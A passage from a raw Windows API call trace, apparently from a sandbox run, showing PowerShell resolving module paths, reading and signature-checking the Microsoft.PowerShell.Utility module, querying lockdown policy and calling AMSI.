lpBuffer=0x99acfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0122.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad42c) returned 1 [0122.728] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules"), fInfoLevelId=0x0, lpFileInformation=0x99ad4a8 | out: lpFileInformation=0x99ad4a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x2d00b5ca, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x2d03182d, ftLastAccessTime.dwHighDateTime=0x1d0bb00, ftLastWriteTime.dwLowDateTime=0x2d03182d, ftLastWriteTime.dwHighDateTime=0x1d0bb00, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad428) returned 1 [0122.729] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", nBufferLength=0x105, lpBuffer=0x99acfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpFilePart=0x0) returned 0x33 [0122.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad42c) returned 1 [0122.729] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules"), fInfoLevelId=0x0, lpFileInformation=0x99ad4a8 | out: lpFileInformation=0x99ad4a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b7dbc2, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b7dbc2, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0122.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad428) returned 1 [0122.729] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x105, lpBuffer=0x99acf14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x5f [0122.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad370) returned 1 [0122.729] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x99ad3ec | out: lpFileInformation=0x99ad3ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0122.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad36c) returned 1 [0122.729] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0122.729] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x105, lpBuffer=0x99acf14, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x56 [0122.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad370) returned 1 [0122.729] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x99ad3ec | out: lpFileInformation=0x99ad3ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0122.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad36c) returned 1 [0122.730] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0122.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x105, lpBuffer=0x99acf14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x58 [0122.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad370) returned 1 [0122.730] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x99ad3ec | out: lpFileInformation=0x99ad3ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0122.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad36c) returned 1 [0122.730] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0123.187] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x99ace64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0123.187] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x99acda4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0123.187] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x99acbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0123.416] GetFileAttributesW (lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1")) returned 0x20 [0123.416] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x105, lpBuffer=0x99acd6c, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0123.417] CoTaskMemAlloc (cb=0x20c) returned 0x8e55850 [0123.417] GetSystemDirectoryW (in: lpBuffer=0x8e55850, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0123.417] CoTaskMemFree (pv=0x8e55850) [0123.417] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99acc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0123.417] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x99accbc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0123.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad11c) returned 1 [0123.417] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x99ad198 | out: lpFileInformation=0x99ad198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0123.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad118) returned 1 [0123.417] WldpGetLockdownPolicy () returned 0x0 [0123.417] GetSystemInfo (in: lpSystemInfo=0x99ad1c4 | out: lpSystemInfo=0x99ad1c4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0123.417] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ad150 | out: phkResult=0x99ad150*=0x864) returned 0x0 [0123.417] RegQueryValueExW (in: hKey=0x864, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ad16c, lpData=0x0, lpcbData=0x99ad168*=0x0 | out: lpType=0x99ad16c*=0x0, lpData=0x0, lpcbData=0x99ad168*=0x0) returned 0x2 [0123.417] RegCloseKey (hKey=0x864) returned 0x0 [0123.417] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x105, lpBuffer=0x99accb0, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0123.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad148) returned 1 [0123.418] GetFileAttributesExW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x6a2cf38 | out: lpFileInformation=0x6a2cf38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e085af, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8e085af, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8e085af, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x5b9f)) returned 1 [0123.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad144) returned 1 [0123.418] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x105, lpBuffer=0x99acc18, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0123.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad078) returned 1 [0123.418] GetFileAttributesExW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x99ad0f4 | out: lpFileInformation=0x99ad0f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e085af, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8e085af, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8e085af, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x5b9f)) returned 1 [0123.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad074) returned 1 [0123.418] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x105, lpBuffer=0x99acb4c, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0123.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad040) returned 1 [0123.418] CreateFileW (lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0123.418] GetFileType (hFile=0x864) returned 0x1 [0123.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad03c) returned 1 [0123.418] GetFileType (hFile=0x864) returned 0x1 [0123.418] WTGetSignatureInfo () returned 0x0 [0123.525] CertDuplicateCertificateContext (pCertContext=0x8c445d0) returned 0x8c445d0 [0123.525] CoTaskMemAlloc (cb=0x10) returned 0x8ead0f8 [0123.525] CoTaskMemAlloc (cb=0x30) returned 0x8e5f260 [0123.525] WinVerifyTrust () returned 0x0 [0123.525] CoTaskMemFree (pv=0x8e5f260) [0123.525] CoTaskMemFree (pv=0x8ead0f8) [0123.525] CertFreeCertificateContext (pCertContext=0x8c445d0) returned 1 [0123.526] CloseHandle (hObject=0x864) returned 1 [0123.526] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x105, lpBuffer=0x99acc24, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0123.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad118) returned 1 [0123.526] CreateFileW (lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0123.526] GetFileType (hFile=0x864) returned 0x1 [0123.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad114) returned 1 [0123.526] GetFileType (hFile=0x864) returned 0x1 [0123.526] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ad15c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ad15c*=0) returned 0x0 [0123.526] ReadFile (in: hFile=0x864, lpBuffer=0x6a2e394, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ad188, lpOverlapped=0x0 | out: lpBuffer=0x6a2e394*, lpNumberOfBytesRead=0x99ad188*=0x1000, lpOverlapped=0x0) returned 1 [0123.526] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ad15c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ad15c*=0) returned 0x1000 [0123.526] ReadFile (in: hFile=0x864, lpBuffer=0x6a2e394, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ad188, lpOverlapped=0x0 | out: lpBuffer=0x6a2e394*, lpNumberOfBytesRead=0x99ad188*=0x1000, lpOverlapped=0x0) returned 1 [0123.527] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ad15c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ad15c*=0) returned 0x2000 [0123.527] ReadFile (in: hFile=0x864, lpBuffer=0x6a2e394, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ad188, lpOverlapped=0x0 | out: lpBuffer=0x6a2e394*, lpNumberOfBytesRead=0x99ad188*=0x1000, lpOverlapped=0x0) returned 1 [0123.527] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ad15c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ad15c*=0) returned 0x3000 [0123.527] ReadFile (in: hFile=0x864, lpBuffer=0x6a2e394, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ad188, lpOverlapped=0x0 | out: lpBuffer=0x6a2e394*, lpNumberOfBytesRead=0x99ad188*=0x1000, lpOverlapped=0x0) returned 1 [0123.527] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ad15c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ad15c*=0) returned 0x4000 [0123.527] ReadFile (in: hFile=0x864, lpBuffer=0x6a2e394, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ad188, lpOverlapped=0x0 | out: lpBuffer=0x6a2e394*, lpNumberOfBytesRead=0x99ad188*=0x1000, lpOverlapped=0x0) returned 1 [0123.527] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ad15c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ad15c*=0) returned 0x5000 [0123.527] ReadFile (in: hFile=0x864, lpBuffer=0x6a2e394, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ad188, lpOverlapped=0x0 | out: lpBuffer=0x6a2e394*, lpNumberOfBytesRead=0x99ad188*=0xb9f, lpOverlapped=0x0) returned 1 [0123.527] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ad15c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ad15c*=0) returned 0x5b9f [0123.528] ReadFile (in: hFile=0x864, lpBuffer=0x6a2dad3, nNumberOfBytesToRead=0x61, lpNumberOfBytesRead=0x99ad188, lpOverlapped=0x0 | out: lpBuffer=0x6a2dad3*, lpNumberOfBytesRead=0x99ad188*=0x0, lpOverlapped=0x0) returned 1 [0123.528] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ad15c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ad15c*=0) returned 0x5b9f [0123.528] ReadFile (in: hFile=0x864, lpBuffer=0x6a2e394, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ad188, lpOverlapped=0x0 | out: lpBuffer=0x6a2e394*, lpNumberOfBytesRead=0x99ad188*=0x0, lpOverlapped=0x0) returned 1 [0123.528] CoTaskMemAlloc (cb=0x20c) returned 0x8e542c0 [0123.528] GetSystemDirectoryW (in: lpBuffer=0x8e542c0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0123.528] CoTaskMemFree (pv=0x8e542c0) [0123.528] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99acbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0123.528] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x99acc6c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0123.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad0cc) returned 1 [0123.528] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x99ad148 | out: lpFileInformation=0x99ad148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0123.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ad0c8) returned 1 [0123.528] WldpGetLockdownPolicy () returned 0x0 [0123.528] GetSystemInfo (in: lpSystemInfo=0x99ad174 | out: lpSystemInfo=0x99ad174*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0123.528] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ad100 | out: phkResult=0x99ad100*=0x86c) returned 0x0 [0123.529] RegQueryValueExW (in: hKey=0x86c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ad11c, lpData=0x0, lpcbData=0x99ad118*=0x0 | out: lpType=0x99ad11c*=0x0, lpData=0x0, lpcbData=0x99ad118*=0x0) returned 0x2 [0123.529] RegCloseKey (hKey=0x86c) returned 0x0 [0123.529] CloseHandle (hObject=0x864) returned 1 [0123.609] CoCreateGuid (in: pguid=0x99ad204 | out: pguid=0x99ad204*(Data1=0xa2d0ba76, Data2=0x6acd, Data3=0x4d4e, Data4=([0]=0xa4, [1]=0xab, [2]=0x92, [3]=0xc5, [4]=0x4e, [5]=0x22, [6]=0x73, [7]=0x6))) returned 0x0 [0123.610] GetCurrentProcess () returned 0xffffffff [0123.610] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99ad1d8 | out: TokenHandle=0x99ad1d8*=0x864) returned 1 [0123.610] GetTokenInformation (in: TokenHandle=0x864, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x99ad1d8 | out: TokenInformation=0x0, ReturnLength=0x99ad1d8) returned 0 [0123.610] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x8e503b8 [0123.610] GetTokenInformation (in: TokenHandle=0x864, TokenInformationClass=0x8, TokenInformation=0x8e503b8, TokenInformationLength=0x4, ReturnLength=0x99ad1d8 | out: TokenInformation=0x8e503b8, ReturnLength=0x99ad1d8) returned 1 [0123.610] LocalFree (hMem=0x8e503b8) returned 0x0 [0123.610] DuplicateTokenEx (in: hExistingToken=0x864, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x99ad1e0 | out: phNewToken=0x99ad1e0*=0x86c) returned 1 [0123.610] CheckTokenMembership (in: TokenHandle=0x86c, SidToCheck=0x6b387f8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x99ad1f0 | out: IsMember=0x99ad1f0) returned 1 [0123.610] CloseHandle (hObject=0x86c) returned 1 [0123.611] AmsiScanString () returned 0x80070015 [0123.613] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x105, lpBuffer=0x99aca98, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0123.613] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x105, lpBuffer=0x99ac9cc, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0123.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ace2c) returned 1 [0123.613] GetFileAttributesExW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x99acea8 | out: lpFileInformation=0x99acea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e085af, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8e085af, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8e085af, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x5b9f)) returned 1 [0123.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ace28) returned 1 [0123.614] GetFullPathNameW (in: lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x105, lpBuffer=0x99ac900, lpFilePart=0x0 | out: lpBuffer="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0123.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99acdf4) returned 1 [0123.614] CreateFileW (lpFileName="C:\\windows\\system32\\windowspowershell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: 